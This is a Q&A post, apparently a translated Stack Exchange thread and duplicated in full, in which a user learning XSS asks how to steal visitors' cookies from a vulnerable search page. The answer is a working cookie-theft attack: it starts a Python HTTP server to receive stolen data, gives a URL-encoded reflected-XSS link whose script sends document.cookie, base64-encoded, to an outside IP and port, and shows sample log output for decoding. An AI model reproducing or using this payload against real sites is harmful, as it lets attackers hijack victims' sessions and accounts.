没有虚拟主机的 XSS 攻击
XSS Attack without Web Hosting
我正在学习 XSS 攻击。
假设我有一个网站(我们称之为 http://www.animallover.com
),它允许我在搜索栏中输入任何内容来搜索动物名称。该网站易受攻击,因为在搜索栏中输入 <script>alert(1)</script>
会触发警报。
我的目标是通过要求用户访问 http://www.animallover.com
来窃取用户的 cookie。
我没有网络服务器来托管我的 cookie 捕获脚本。
我该怎么办?
您可以很容易地在自己的计算机上设置 HTTP 服务器。
例如Python3支持以下:
python -m http.server 8000
这将响应到达您系统上端口 8000 的 HTTP 请求。请记住,您可能需要调整防火墙并在路由器上设置 port forwarding 以允许流量通过此端口。并确保在一个空文件夹中输入此命令,因为其中的所有内容都将发布在互联网上。
所有传入的请求都将记录在命令行终端上。因此,如果您尝试获取管理员的 cookie 值,您可以像这样创建一个 link(我在这里假设您的 IP 地址是 12.34.56.78
;you can get the correct value from Google):
http://example.com/search?q=%3Cscript%3Elocation.href%3D%27http%3A%2F%2F12.34.56.78%3A8000%2F%3F%27%2Bbtoa%28document.cookie%29%3B%3C%2Fscript%3E
这将 运行 目标服务器上的以下脚本:
<script>location.href='http://12.34.56.78:8000/?'+btoa(document.cookie);</script>
cookie 值将采用 base64 编码,因此您需要在它到达时对其进行解码。日志输出将如下所示:
$ python -m http.server 8000
99.99.99.99 - - [01/Jan/2021 01:23:45] "GET /?dXNlcj1hZG1pbjsgc2Vzc2lvbl9pZD0xMjM0NTY3OAo= HTTP/1.1" 200 -
我正在学习 XSS 攻击。
假设我有一个网站(我们称之为 http://www.animallover.com
),它允许我在搜索栏中输入任何内容来搜索动物名称。该网站易受攻击,因为在搜索栏中输入 <script>alert(1)</script>
会触发警报。
我的目标是通过要求用户访问 http://www.animallover.com
来窃取用户的 cookie。
我没有网络服务器来托管我的 cookie 捕获脚本。
我该怎么办?
您可以很容易地在自己的计算机上设置 HTTP 服务器。
例如Python3支持以下:
python -m http.server 8000
这将响应到达您系统上端口 8000 的 HTTP 请求。请记住,您可能需要调整防火墙并在路由器上设置 port forwarding 以允许流量通过此端口。并确保在一个空文件夹中输入此命令,因为其中的所有内容都将发布在互联网上。
所有传入的请求都将记录在命令行终端上。因此,如果您尝试获取管理员的 cookie 值,您可以像这样创建一个 link(我在这里假设您的 IP 地址是 12.34.56.78
;you can get the correct value from Google):
http://example.com/search?q=%3Cscript%3Elocation.href%3D%27http%3A%2F%2F12.34.56.78%3A8000%2F%3F%27%2Bbtoa%28document.cookie%29%3B%3C%2Fscript%3E
这将 运行 目标服务器上的以下脚本:
<script>location.href='http://12.34.56.78:8000/?'+btoa(document.cookie);</script>
cookie 值将采用 base64 编码,因此您需要在它到达时对其进行解码。日志输出将如下所示:
$ python -m http.server 8000
99.99.99.99 - - [01/Jan/2021 01:23:45] "GET /?dXNlcj1hZG1pbjsgc2Vzc2lvbl9pZD0xMjM0NTY3OAo= HTTP/1.1" 200 -